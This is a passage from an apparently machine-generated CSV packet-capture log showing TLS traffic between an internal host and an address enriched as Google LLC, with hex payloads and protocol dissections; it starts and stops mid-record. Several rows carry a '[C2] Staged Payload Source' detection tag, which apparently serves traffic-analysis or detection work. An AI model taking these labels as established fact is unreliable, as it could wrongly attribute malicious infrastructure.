\"\"1703031031d4d2cf410421ce27bcce91c9ea94340a0a45f064a5552132319521e16e1ae5ce3bbb98763498ecd451a17a1b92ea27fafccdb903b7da63f68a0112960995de87e878150c574faf1489c767a15c6d1d735ff3447a6c612de41baece0a376638304d6712e03e8bee5a0e6dfeee44553ea11e8b8db6d7f54375a4c95340119894d71c8c122de86c969cf13d23d16bb829323ce3c5b751bb63b090d4870e1494b0919cf2f62d04976e2ecce1c3e4f74280d4ea8c3673440fc7cb8c43917d365731a9fe3ec2734ed5baf5c35f04c4b69bfc625330b3687e9837343aa9d02d82da20e3dbc124b114b74d76a3d2126c3e79a30cc73f793b023f24e675d05f3bcb8dad5bab65485c3161025f8ab26036bc95d796043c6680d37a64d06ff39b92ddc51fc5b6ec4cabb147e471fd6d2c9a65c8ceb954d3bc717200c75ba1a60d09f6735910db4957f4133be805ecc11d874395be4cbbbef4f7d97305f81b64e5dfaa24df10ebf871396098c2e974afb895b2132f53b196475a7e71f2c52c7562831a81ad80ea177174aa9a20265f77efd1c3e3259005e62fea8031137ce4aa5b3c68e14e501fc8e1b1d3399090b6871830720fb2a3c612ad98063588bab89d9def4c6f832ff420c54d3bbe2278011aba3e9346c2527434aa425d99d671d82ac7f3162d5d75f2f6ecdab78ca41d8c9d6328c32b92b3bf93781d453616c16f1747f50f23d58355b7124ea399bd99604e18741ebf7ca72abcc570911eb2eb93cb11fee43ca4ebe30f87a73e9df6fca061f19bd26535d7bddeb91a4ed4db3ca3e9e750e5ead2ee7295a15b548e98959d6f83aa5713154e8d274eee245326968b39b175e50a5447c7a8dd203e5c8fdb99759c8d5069b280caee06d5b9136bb4677f2d9294a720584e16888313f4d0430ce1f4659dbb9efe0348be6dae863fd9ea26490ee5b410e38d5d9bb4ccc1eebd3547977478c2c13d0f0655d532a8619e56bdcdaf47f236ebee9f7a1af2fd0d0b37734478cf709ed9fedba3fcfe287e1dc0d6b36eb1affb47637161b535484e44f684d50560f4899a097df348d3d4995e01ebf51c5a0c8d04585346d32d38918e7e9cca5eefb028a0b70132e588fddba1eb41a4238bcf1856d268e9663309fc50a73dfadbfb5aae39fba67608d74bdd0678f28c02199621388a1e1aad67531be0529136b60294574793b7dc5d92201228e32de03f46df1782e49578023b8df8cd4cc6dc2c2a55352e29c7875b45dae9f98aca10a60b943c2249fdb5b97a9b69094ba89870799f899ceec680fc85d584c0fba3524a17343ae7e0f51464c9914176358b940891fa3911eb19115f8a40bdd4a365e504bdc018e1c8867552e5ed07ff7c7a1076d1c72665d25f231f14a230890b56b5eeee5a827ef1a078000334be884daba5d900e95f3a1930dfa6f9923f9db6a4703437ee7250298992b1a606283be422cc7b595e8e0f8a9b72d415b30c0391ee8833fb7c31e57925fdc79cbf27c6ff2bb28708a84c20098c8fc2a5f8e997998aaed12ef42e90e422649af02d440f4a01a5bed2b9b6c70fb101670356bc2e2500f6d187144563e8bef7e1508b57dc954f1fa32d073a058fde466900a4153131b107b8dd3ce9ded4b28e650854790ee72a239fa551d5625d73ee84af6893ffebcb870a6b922367ccbd10543717822c33d5bffcad31ce3fb79f632e83c0475b5f0c82a56af543aa80c3fa80ea3eecd2602a0b1c1f2581dcea53334a4c9658bf9c9ff76a84b97f468455e0c5986bc2cb77c992ec189e8ce8da69424d9b5ce3cf0e326ae455b34e9f929e6ee89ae355008a8c387203ac8f9d80ec72e174e3634bcb4b755ca08e60fd1fd673aac85ed158320480f1620ceb149c5e9d1167f590abd0995d039c87bb02d8d3221f388897ae692371939c9a6266d9dec3f4624615bad9587fed5b4783b0f8f8345e44882ebb2031ceceb109428f4857d6273267c589a9839225581e495203dc7f073ed50c01d421254ea288bde3fc498f3e2d50248d8d55d3601202dbb42650e946cefb139ac4dd055010d077a441df8c88382b82da3c663def50aa23760e6044c4f046f4915dc140726b7ebc0d002942204de3052a24c34fa9c272c1beabf5c1f1134e143832879bb6dd8bf512a7d7d690da3d09fb1518ac35e20d866e54bb86073dec4d74becf2ccff16e54ccc43892a2d5fb94b93222bdb2358e6fc88bd376a5d9fa4e726202a72bdd825877c62d6d5a73b66a4e8012901c0acacde657601c6545afeb45138f5c48b41f4d496e877b4b379094b77199b3a6bcb6c524a1de461a93173f95d6fa209fc0264a88cef64307d876bf5c3d0e9933a19579266fde0367aef33a4b2e33099596c51c4cac3fe5a7dd1889dd63dd55701b00cba395b518ba52e186ea415c5b6344d0858807e9e600e07ea830e8c6b7f105b2137b40dbe982b4522a5af4af0f6ba8ba4c233545ea3ccb8bd07122405eb3dedea4503aadce39d2b4fcfa946b38e2bcb3f791a987498d8fe4ec1a58e6aeb374b9d3d2b676fe14bfcdcee41a2e074dc5362b3702e4798ebd940422bd1a77806cd3129758d0f27a79a30fc81f8c01823ae5c1f0418a2c6699b98ca52cb7a51250242bca166102150e65348a7b30e22f5b02cf9951d3531c32e3871dadd3592a6cc58fd2a7932f9a09bc212346aabd8e023d7d46d3aded6341e6df080d4263ebb17adb8d7a10319bdffdcaf875011c3747b9c1d2570fe86ef0365f36fb3df2306e545ea44cb28d88db03dc03e21e4601e284f3ebe36e950ce99823e4c9408f8192286abcc5a728a78307b2812e46757472c2086488b4176bf530d7fd5c865db1bc838197add423da9677b74cbd22e17d621d657ef4f592f49accdef4244e0922ec460a5b0a6386894698de1ce1846797c7771b01eb51dd547a60c1149605a1d6b00e06dbea9b86912b7fda8ffda26fc47f872cd13e8530903bfaf75f8833b95dee719dd55d455e36957273fd0e93ebbee17ecb8d53126eb50b5dfe87856a345f602d6fda20d89fcdfedfaa21d7ad6fd8ae70b1fe043fc10fb334ab25ece78e3e1e8ad8d982e560cbef647f3953ebe8a1870ba91d5199076c8db486d4672eeee1bd8371617fbc8e09bf4f86e8d2ed0e45df38da3f3036b1adbdad86eaf108eaff45792b090a0db0e2fffc6faec824e8236fb91e311ca51558f080fdde5b75f2aa23df89514d2e1353989004b8bb59441161beb2fa6633e6964ff87c64ccb19e144c367da6df43bbfa16a110fbc3519dfd27a7dd63bf7589ddccd2870b19c71e46e5a841987160ee145bd5ddd33d16270fecc62de32bc14e98fcabd0d1899cbfeeecfd4bd8bde7a8d6b811b0f74bcb3ed3cd6dc5d4b7f8afc74176f0d70601dcf45afa39c7aec6473d769db6381bdbf632ac7973a8f9345317245312747cd30f7a28e5b6049afe169ad9bfa4dde0cc81fff4ec7157fe17adf1d54958eb0dfed3dbedbc91344cd09adf5cff8f660e26cf1c8f44020f1bd29b0b4765b903583eedae79e1371c20637dd74f66505af819422731b23a8eef1f9e5e286cc4f86e9074b3f1ffc09c8671079258e8c613b798e1799799ef24cc8da5f4eee510c302d69a8a9578f96b86f7d7faabae28194037a339240215aa547afba7a48443d9a966ef0a577fb51a69b756b9796278d57d58bc3f97796d0f209d599c05885f1ad69b2c5efbb1778c0b8e2658c38f3ec0c355a6adbb6e1c44ba0129bc9c9baf2a50aea94cf1ce193c5fdfe59f8757b3ac316994e56091b0ab8832ea8f9ab0d4a9b71fa5c62b9fd539d68880989f19f506f513699403b233937ed3e9fe56cfa202cbee53a53efed50d2c4ac577a147653ae2cbcee59e8b4c9be2a05cba81f6408e662f8bcc9dda795849769496493446f0b7e4e1cf432708aeac758c43567ab2bf9b502d735036f72f448ac124e6b40bb2fd9d7ab319a60065687d5abc8a18388e62c410eb702f8b4068b1a741cc0c\"\"}}]\"\n2026-07-19 08:08:15.819262,12,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755293496 Ack=2455734562,bc24112907bbbc2411360d0c0800450000288a14400080062c180a98980bd83ac9c5f9ce01bba43a7138925f8922501020141e9e0000,\".$.)...$.6\n...E..(..@...,.\n....:.......:q8._.\"\"P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35348, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11288, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755293496, \"\"ack\"\": 2455734562, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 7838, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:15.819269,13,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2455734562 Ack=2755293496,bc2411360d0cbc24112907bb080045000553a7d9400040064928d83ac9c50a98980b01bbf9ce925f8922a43a71385018003d49e90000b2a09444f319333ff8c9569e41b6b1693d3ef82169e1b8a07f7515e7416926be6b36f1be242775005c46597469e5d3cd1de69161605d370617f9c1a5b825e69ca0998be2dd541ea1cace768f4137458cd9f7672af958d682d215436d8a433235d3bbcf064482ce61c0453b09b499c50f9258f0a18f4db2966a8eae29eb1f49b4771df7f66ed57d0c617442b91e55bd458bcae301ba318641e5d337d39a501bd3b4ac3da75284d1f012141bd5903ff57263b43b825f1bf5dda53660f8b3f34d034c98054e7ac52422c2bfc8e32697797d9fcf1512bf6c2bd52450743625e5dd466de044b95b177ee7dd9a7f9a788a695d571bbbb3cb3c862dae4ec131f7ad7f78224e57f865b60e8098f0f3a2ed7f39f2c1e63aaa56313b34e3904ff98866e12280c7d295dcf872e2bc1c0b13124038cb545206500e5265e6ae06e15ba3801f7430d63d9bba2975f81a6d0de2b281cb1778e468937e9ce43dc24d998737b41da54be35b2fdf62ed29ee26bf3e72aad82aafa080316e53570feb175bd988d00c3d89af311ae8b400f832d0ceb23db2a5bf4057e52b8c23cf28e3ec860ddedaf843034f74937d66a8cf37e90d6ccc37ac53fbe0f08b0ce33e322f4a928176ae4d59af3ab84d22a0c5b5a460a48bdce175184681647d6d499384ff209306e8eafd4a4c72bedc4ff2c062d966473abb70dc93a64e235d37fe5457e54580e6f9f6b64029617304e7feecef9ddc0fc21f14d2bc707544f4a9ccd755ee14a22699cc883bfad153eda3c85c03c820a7bd5f2b2367a542e9f410b5735bae8678955d1f3fb5c5ea4cdbf0f2d8054e12e3fb5e8d4020d6bef76ddc8b9e56a6ff1f170f8089f4f4526df5920ee00810291c2a0692df5261529be751397c68ee60e67be22cc377062d8388028f16e57a6d7c5091ae9d4d620436b4e67aef5d7abde080b415ee3578410cc3f8721cecdb693b2167376c951505fb9a45cdcf9cce9dc322e81aadda6384b217641c7d36788cbe48f12734e0fba111a5b57514aceee4bfbe0c0442510960700bd134913e3c8def039a132d586035d35604f2fefada0bc57c70e6b7a2c06b00f75bfcb55170fd9c414edd0f0b2e8e26dba299778b6b786c1e59d4a40ba64c1d48462e10979a64bfb07c7e36f27f782e3619455b3d0d7b47566fedb686c3add3168fc94b9a8b48c5f9b1a1f484adcb32c62d88318b80c5b202899cf14d30a650f94ae9e9e4ba90942b24c08dcb1e259037f9a6844a6fa1bc4b45db3f757429e7f0373525f7b2fc96f37a4196b9ab2c9e099fe5b06810b59e3e61bec3e9ceac62a91c866ed8d655d86101e04e261d14a18cbcd3c5457b861ef9520230e8ba349bd0b9ca2939bf350327b1f308f763278fb0bda67870bf5d84a2b89d49fbe2a87bbf8d37fc9e470c251a970e2daa62abca5682030b321a05ce4d5f8578c9c5173c5e51d28c9f384df03f99e0395f35d4d0cec38cc5bef80329ae9f747872d8c8a285d269055b6f78647a5053de3f6df7f1e4a5e9550becc0169c76bbe7679586e1fccde83666401a925dc4546744c6135b2f3336cfb4372837b8f9f73d34b7182466399e946e25f5f9673d152369402736f64863ed0fd1fd0f072cc2d4e63f2d20f712500e57591c6d61c5d5ff400fa8de029fa8dd15f1ba0033f52c56430b30c7af29b0ab35693ca90d268d8a25572d61f3406142e77b75ff51a906bd17c0ec23269bc22be75a453334daae1653591868942f4fab55b45392ea04f25bbb61747e48d62f4038848ed310bd135d73434412a15a8e36dd06d4d8b6c3fc3470eb5b711b66181f81f1df7f015cbd49ab1c650f176b05e7d09035aa7f85a71b609f3cfeef2b760bed5a75d8,\"...D..3?..V.A..i=>.!i....u..Ai&.k6..$'u.\\FYti......a`]7......%.......T....v.A7E...g*.X....Cm.C25....D..a.E;\t.....X...M..j..)..I.w...n.}.atB..U.E.....1.A..7..P....=.R........?.rc.;._....6`...M.L..Nz.$\"\"....&.y}.....l+.$Pt6%..Fm.D.[.~.....x.i]W....<.-.N.1...x\"\"NW.e.........9...:.V1;4..O..f.\"\"......r......@8.TR.P.Re....[...t0.=..)u..m\n.....x.h.~..=.M..7...K.[/.b.).&.>r..*...1nSW...[....=..1.....2...=...@W.+.#.(...\n...C.Ot.}f..7.\nl.7.S......>2/J..v.MY.:.M\"\"....`....u.F.d}mI... .....JLr..O..b.fG:.p...N#]7.TW.E.....@)as.............puD....U...&...;..S...\\.. .._+#g.B....s[..x.].?...L.....N...^.@ ...m...V.........Rm......).*...RaR..Q9|h.`.{.,.w.-......zm|P...Mb.6..z.]z......5xA...r...i;!g7l.....E......\"\"....c...d.}6x..H.'4......u........BQ\t`p..4.><.....-X`5.V.......|p....k..[..Qp..AN.....&...w.kxl.Y....L.HF....d..|~6..x.6.E[=\n{GVo.........K..H........2.-.1........M0.P.J......+$....%.7...Jo..KE.?ut)..75%.....zA...,.\t...h...>a.....b...n..U.a..N&.......E{...R.0..4....)9.5.'....c'....xp.]....I...{..7..G.%...-.b..V...2...M_.x...<^Q...8M.?..9_5.........)..txr.....i.[oxdzPS.?m.....U.....v..g......6f@..].TgD..[/36..7(7...=4..$f9..n%..g=.#i@'6.Hc......,...?- ..P.WY.ma...@...........3.,VC.0..)..5i<.\n&..%W-a.@aB.{u.Q......#&..+.ZE34...SY.h./O.U.S....[.at~H./@8......]sCD..Z.6.......4p.[q.f.......\\.I..e..k....5.....`.<..+v..Zu.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1363, \"\"id\"\": 42969, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18728, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455734562, \"\"ack\"\": 2755293496, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 18921, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"b2a09444f319333ff8c9569e41b6b1693d3ef82169e1b8a07f7515e7416926be6b36f1be242775005c46597469e5d3cd1de69161605d370617f9c1a5b825e69ca0998be2dd541ea1cace768f4137458cd9f7672af958d682d215436d8a433235d3bbcf064482ce61c0453b09b499c50f9258f0a18f4db2966a8eae29eb1f49b4771df7f66ed57d0c617442b91e55bd458bcae301ba318641e5d337d39a501bd3b4ac3da75284d1f012141bd5903ff57263b43b825f1bf5dda53660f8b3f34d034c98054e7ac52422c2bfc8e32697797d9fcf1512bf6c2bd52450743625e5dd466de044b95b177ee7dd9a7f9a788a695d571bbbb3cb3c862dae4ec131f7ad7f78224e57f865b60e8098f0f3a2ed7f39f2c1e63aaa56313b34e3904ff98866e12280c7d295dcf872e2bc1c0b13124038cb545206500e5265e6ae06e15ba3801f7430d63d9bba2975f81a6d0de2b281cb1778e468937e9ce43dc24d998737b41da54be35b2fdf62ed29ee26bf3e72aad82aafa080316e53570feb175bd988d00c3d89af311ae8b400f832d0ceb23db2a5bf4057e52b8c23cf28e3ec860ddedaf843034f74937d66a8cf37e90d6ccc37ac53fbe0f08b0ce33e322f4a928176ae4d59af3ab84d22a0c5b5a460a48bdce175184681647d6d499384ff209306e8eafd4a4c72bedc4ff2c062d966473abb70dc93a64e235d37fe5457e54580e6f9f6b64029617304e7feecef9ddc0fc21f14d2bc707544f4a9ccd755ee14a22699cc883bfad153eda3c85c03c820a7bd5f2b2367a542e9f410b5735bae8678955d1f3fb5c5ea4cdbf0f2d8054e12e3fb5e8d4020d6bef76ddc8b9e56a6ff1f170f8089f4f4526df5920ee00810291c2a0692df5261529be751397c68ee60e67be22cc377062d8388028f16e57a6d7c5091ae9d4d620436b4e67aef5d7abde080b415ee3578410cc3f8721cecdb693b2167376c951505fb9a45cdcf9cce9dc322e81aadda6384b217641c7d36788cbe48f12734e0fba111a5b57514aceee4bfbe0c0442510960700bd134913e3c8def039a132d586035d35604f2fefada0bc57c70e6b7a2c06b00f75bfcb55170fd9c414edd0f0b2e8e26dba299778b6b786c1e59d4a40ba64c1d48462e10979a64bfb07c7e36f27f782e3619455b3d0d7b47566fedb686c3add3168fc94b9a8b48c5f9b1a1f484adcb32c62d88318b80c5b202899cf14d30a650f94ae9e9e4ba90942b24c08dcb1e259037f9a6844a6fa1bc4b45db3f757429e7f0373525f7b2fc96f37a4196b9ab2c9e099fe5b06810b59e3e61bec3e9ceac62a91c866ed8d655d86101e04e261d14a18cbcd3c5457b861ef9520230e8ba349bd0b9ca2939bf350327b1f308f763278fb0bda67870bf5d84a2b89d49fbe2a87bbf8d37fc9e470c251a970e2daa62abca5682030b321a05ce4d5f8578c9c5173c5e51d28c9f384df03f99e0395f35d4d0cec38cc5bef80329ae9f747872d8c8a285d269055b6f78647a5053de3f6df7f1e4a5e9550becc0169c76bbe7679586e1fccde83666401a925dc4546744c6135b2f3336cfb4372837b8f9f73d34b7182466399e946e25f5f9673d152369402736f64863ed0fd1fd0f072cc2d4e63f2d20f712500e57591c6d61c5d5ff400fa8de029fa8dd15f1ba0033f52c56430b30c7af29b0ab35693ca90d268d8a25572d61f3406142e77b75ff51a906bd17c0ec23269bc22be75a453334daae1653591868942f4fab55b45392ea04f25bbb61747e48d62f4038848ed310bd135d73434412a15a8e36dd06d4d8b6c3fc3470eb5b711b66181f81f1df7f015cbd49ab1c650f176b05e7d09035aa7f85a71b609f3cfeef2b760bed5a75d8\"\"}}]\"\n2026-07-19 08:08:15.819454,14,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755293496 Ack=2455735885,bc24112907bbbc2411360d0c0800450000288a15400080062c170a98980bd83ac9c5f9ce01bba43a7138925f8e4d5010200f19780000,\".$.)...$.6\n...E..(..@...,.\n....:.......:q8._.MP. ..x..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35349, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11287, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755293496, \"\"ack\"\": 2455735885, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8207, \"\"chksum\"\": 6520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:15.974177,15,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,PA,,,Ether > IP > TCP > TLS > TLS,5,TCP PA Seq=2755293496 Ack=2455735885,bc24112907bbbc2411360d0c0800450000728a16400080062bcc0a98980bd83ac9c5f9ce01bba43a7138925f8e4d5018200fcb220000140303000101170303003fe6f2820d70f43577fa7767768562354255fa97aa93620c827bd66b7db806721308c6f55d6564a876d09da43be22ab50cda67774a7d84a04b74038f286a273c,\".$.)...$.6\n...E..r..@...+.\n....:.......:q8._.MP. ..\"\"............?...\np.5w.wgv.b5BU....b..{.k}..r....]ed.v...;.*...gwJ}..Kt..(j'<\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 114, \"\"id\"\": 35350, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11212, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755293496, \"\"ack\"\": 2455735885, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8207, \"\"chksum\"\": 52002, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 63, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\xe6\\\\xf2\\\\x82\\\\rp\\\\xf45w\\\\xfawgv\\\\x85b5BU\\\\xfa\\\\x97\\\\xaa\\\\x93b\\\\x0c\\\\x82{\\\\xd6k}\\\\xb8\\\\x06r\\\\x13\\\\x08\\\\xc6\\\\xf5]ed\\\\xa8v\\\\xd0\\\\x9d\\\\xa4;\\\\xe2*\\\\xb5\\\\x0c\\\\xdagwJ}\\\\x84\\\\xa0Kt\\\\x03\\\\x8f(j'<\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 08:08:15.974195,16,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2455735885 Ack=2755293570,bc2411360d0cbc24112907bb080045000028a7da400040064e52d83ac9c50a98980b01bbf9ce925f8e4da43a71825010003d44be0000,\".$.6\n..$.)....E..(..@.@.NR.:..\n........_.M.:q.P..=D...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42970, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20050, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455735885, \"\"ack\"\": 2755293570, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 61, \"\"chksum\"\": 17598, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.012972,17,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2755293570 Ack=2455735885,bc24112907bbbc2411360d0c0800450000848a17400080062bb90a98980bd83ac9c5f9ce01bba43a7182925f8e4d5018200ff9b0000017030300578961c70434cd0a9889da153ad73725f4d46775d5ccc000061ef5bbb1f606493d5cc492b916df0fe834afb65d8fc84c5298873e57a9aa5460777b76c53e938b53b28d755fa3f507e6e331bd69a76b7964e1e67b9f297932,\".$.)...$.6\n...E.....@...+.\n....:.......:q.._.MP. .........W.a..4.\n....:.7%..gu...........I=\\.......4..]..LR..>W..T`w{v.>..S..u_.....1.i.kyd..{.)y2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 132, \"\"id\"\": 35351, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11193, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755293570, \"\"ack\"\": 2455735885, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8207, \"\"chksum\"\": 63920, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 87, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x89a\\\\xc7\\\\x044\\\\xcd\\\\n\\\\x98\\\\x89\\\\xda\\\\x15:\\\\xd77%\\\\xf4\\\\xd4gu\\\\xd5\\\\xcc\\\\xc0\\\\x00\\\\x06\\\\x1e\\\\xf5\\\\xbb\\\\xb1\\\\xf6\\\\x06I=\\\\\\\\\\\\xc4\\\\x92\\\\xb9\\\\x16\\\\xdf\\\\x0f\\\\xe84\\\\xaf\\\\xb6]\\\\x8f\\\\xc8LR\\\\x98\\\\x87>W\\\\xa9\\\\xaaT`w{v\\\\xc5>\\\\x93\\\\x8bS\\\\xb2\\\\x8du_\\\\xa3\\\\xf5\\\\x07\\\\xe6\\\\xe31\\\\xbdi\\\\xa7kyd\\\\xe1\\\\xe6{\\\\x9f)y2' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 08:08:16.012976,18,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2455735885 Ack=2755293662,bc2411360d0cbc24112907bb080045000028a7db400040064e51d83ac9c50a98980b01bbf9ce925f8e4da43a71de5010003d44be0000,\".$.6\n..$.)....E..(..@.@.NQ.:..\n........_.M.:q.P..=D...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": 